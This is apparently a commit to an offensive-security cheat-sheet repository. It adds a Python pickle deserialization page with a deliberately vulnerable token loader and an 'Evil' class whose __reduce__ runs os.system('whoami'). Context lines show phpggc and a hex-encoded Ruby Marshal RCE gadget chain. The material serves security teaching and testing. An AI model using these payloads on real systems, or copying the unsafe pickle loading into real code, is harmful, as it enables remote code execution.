Insecure deserialization Python

This commit is contained in:
Swissky 2018-11-27 23:04:17 +01:00
parent c8d7575ba3
commit 68325c8b98
4 changed files with 59 additions and 1 deletions

@ -146,6 +146,13 @@ echo urlencode(serialize(new PHPObjectInjection));
phpggc monolog/rce1 'phpinfo();' -s
```
## Real world examples
* [Vanilla Forums ImportController index file_exists Unserialize Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/410237)
* [Vanilla Forums Xenforo password splitHash Unserialize Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/410212)
* [Vanilla Forums domGetImages getimagesize Unserialize Remote Code Execution Vulnerability (critical) - Steven Seeley](https://hackerone.com/reports/410882)
* [Vanilla Forums Gdn_Format unserialize() Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/407552)
## Thanks to
* [PHP Object Injection - OWASP](https://www.owasp.org/index.php/PHP_Object_Injection)

@ -0,0 +1,50 @@
# Python Deserialization
## Pickle
The following code is a simple example of using `cPickle` in order to generate an auth_token which is a serialized User object.
```python
import cPickle
from base64 import b64encode, b64decode
class User:
def __init__(self):
self.username = "anonymous"
self.password = "anonymous"
self.rank = "guest"
h = User()
auth_token = b64encode(cPickle.dumps(h))
print("Your Auth Token : {}").format(auth_token)
```
The vulnerability is introduced when a token is loaded from an user input.
```python
new_token = raw_input("New Auth Token : ")
token = cPickle.loads(b64decode(new_token))
print "Welcome {}".format(token.username)
```
Python 2.7 documentation clearly states Pickle should never be used with untrusted sources. Let's create a malicious data that will execute arbitrary code on the server.
> The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.
```python
import cPickle
from base64 import b64encode, b64decode
class Evil(object):
def __reduce__(self):
return (os.system,("whoami",))
e = Evil()
evil_token = b64encode(cPickle.dumps(e))
print("Your Evil Token : {}").format(evil_token)
```
## Thanks to
* [Exploiting misuse of Python's "pickle" - Mar 20, 2011](https://blog.nelhage.com/2011/03/exploiting-pickle/)
* [Python Pickle Injection - Apr 30, 2017](http://xhyumiracle.com/python-pickle-injection/)

@ -7,6 +7,7 @@ Check the following sub-sections, located in other files :
* [Java deserialization : ysoserial, ...](Java.md)
* [PHP (Object injection) : phpggc, ...](PHP.md)
* [Ruby : universal rce gadget, ...](Ruby.md)
* [Python : pickle, ...](Python.md)
## Thanks to

@ -6,7 +6,7 @@ Script to generate and verify the deserialization gadget chain against Ruby 2.0
for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done
```
## Thanks
## Thanks to
- [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/)
- [Online access to Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab](https://pentesterlab.com/exercises/ruby_ugadget/online)